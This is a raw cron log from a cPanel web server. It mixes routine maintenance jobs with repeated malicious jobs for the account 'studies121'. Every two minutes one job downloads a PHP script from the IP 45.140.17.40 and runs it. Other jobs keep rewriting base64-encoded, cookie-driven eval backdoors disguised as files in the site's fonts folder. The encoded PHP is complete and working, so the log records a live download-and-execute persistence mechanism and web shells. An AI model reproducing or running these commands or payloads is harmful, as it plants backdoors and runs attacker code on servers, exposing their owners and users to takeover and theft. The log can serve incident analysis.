Sep  1 05:00:01 ip-184-168-122-23 CROND[22588]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 05:00:01 ip-184-168-122-23 CROND[22587]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 05:00:01 ip-184-168-122-23 CROND[22592]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 05:00:01 ip-184-168-122-23 CROND[22594]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 05:00:01 ip-184-168-122-23 CROND[22596]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:00:01 ip-184-168-122-23 CROND[22595]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 05:00:01 ip-184-168-122-23 CROND[22598]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/mailpasswds)
Sep  1 05:00:01 ip-184-168-122-23 CROND[22597]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 05:01:01 ip-184-168-122-23 CROND[22771]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 05:01:01 ip-184-168-122-23 CROND[22774]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 05:01:01 ip-184-168-122-23 CROND[22772]: (root) CMD (run-parts /etc/cron.hourly)
Sep  1 05:01:01 ip-184-168-122-23 CROND[22775]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 05:01:01 ip-184-168-122-23 CROND[22773]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:01:01 ip-184-168-122-23 CROND[22777]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[22772]: starting 0anacron
Sep  1 05:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[22793]: finished 0anacron
Sep  1 05:02:01 ip-184-168-122-23 CROND[22899]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:02:01 ip-184-168-122-23 CROND[22900]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 05:02:01 ip-184-168-122-23 CROND[22903]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 05:02:01 ip-184-168-122-23 CROND[22905]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 05:02:01 ip-184-168-122-23 CROND[22907]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:03:01 ip-184-168-122-23 CROND[23018]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:03:01 ip-184-168-122-23 CROND[23019]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 05:03:01 ip-184-168-122-23 CROND[23024]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:03:01 ip-184-168-122-23 CROND[23022]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 05:04:01 ip-184-168-122-23 CROND[23183]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 05:04:01 ip-184-168-122-23 CROND[23185]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 05:04:01 ip-184-168-122-23 CROND[23186]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:04:01 ip-184-168-122-23 CROND[23188]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:04:01 ip-184-168-122-23 CROND[23187]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 05:05:01 ip-184-168-122-23 CROND[23300]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:05:01 ip-184-168-122-23 CROND[23305]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 05:05:01 ip-184-168-122-23 CROND[23306]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 05:05:01 ip-184-168-122-23 CROND[23308]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 05:05:01 ip-184-168-122-23 CROND[23311]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 05:05:01 ip-184-168-122-23 CROND[23312]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:05:01 ip-184-168-122-23 CROND[23310]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 05:06:01 ip-184-168-122-23 CROND[23500]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 05:06:01 ip-184-168-122-23 CROND[23502]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:06:01 ip-184-168-122-23 CROND[23503]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 05:06:01 ip-184-168-122-23 CROND[23504]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:06:01 ip-184-168-122-23 CROND[23505]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 05:07:01 ip-184-168-122-23 CROND[23645]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:07:01 ip-184-168-122-23 CROND[23646]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 05:07:01 ip-184-168-122-23 CROND[23647]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 05:07:01 ip-184-168-122-23 CROND[23648]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:08:01 ip-184-168-122-23 CROND[23779]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 05:08:01 ip-184-168-122-23 CROND[23780]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 05:08:01 ip-184-168-122-23 CROND[23781]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 05:08:01 ip-184-168-122-23 CROND[23784]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:08:01 ip-184-168-122-23 CROND[23785]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:09:01 ip-184-168-122-23 CROND[24029]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 05:09:01 ip-184-168-122-23 CROND[24031]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 05:09:01 ip-184-168-122-23 CROND[24034]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:09:02 ip-184-168-122-23 CROND[24032]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:09:02 ip-184-168-122-23 CROND[24033]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 05:10:02 ip-184-168-122-23 CROND[24186]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 05:10:02 ip-184-168-122-23 CROND[24188]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 05:10:02 ip-184-168-122-23 CROND[24189]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 05:10:02 ip-184-168-122-23 CROND[24191]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 05:10:02 ip-184-168-122-23 CROND[24187]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:10:02 ip-184-168-122-23 CROND[24193]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 05:10:02 ip-184-168-122-23 CROND[24195]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:10:02 ip-184-168-122-23 CROND[24198]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 05:11:01 ip-184-168-122-23 CROND[24343]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 05:11:01 ip-184-168-122-23 CROND[24344]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 05:11:01 ip-184-168-122-23 CROND[24345]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:11:01 ip-184-168-122-23 CROND[24346]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:12:01 ip-184-168-122-23 CROND[24439]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
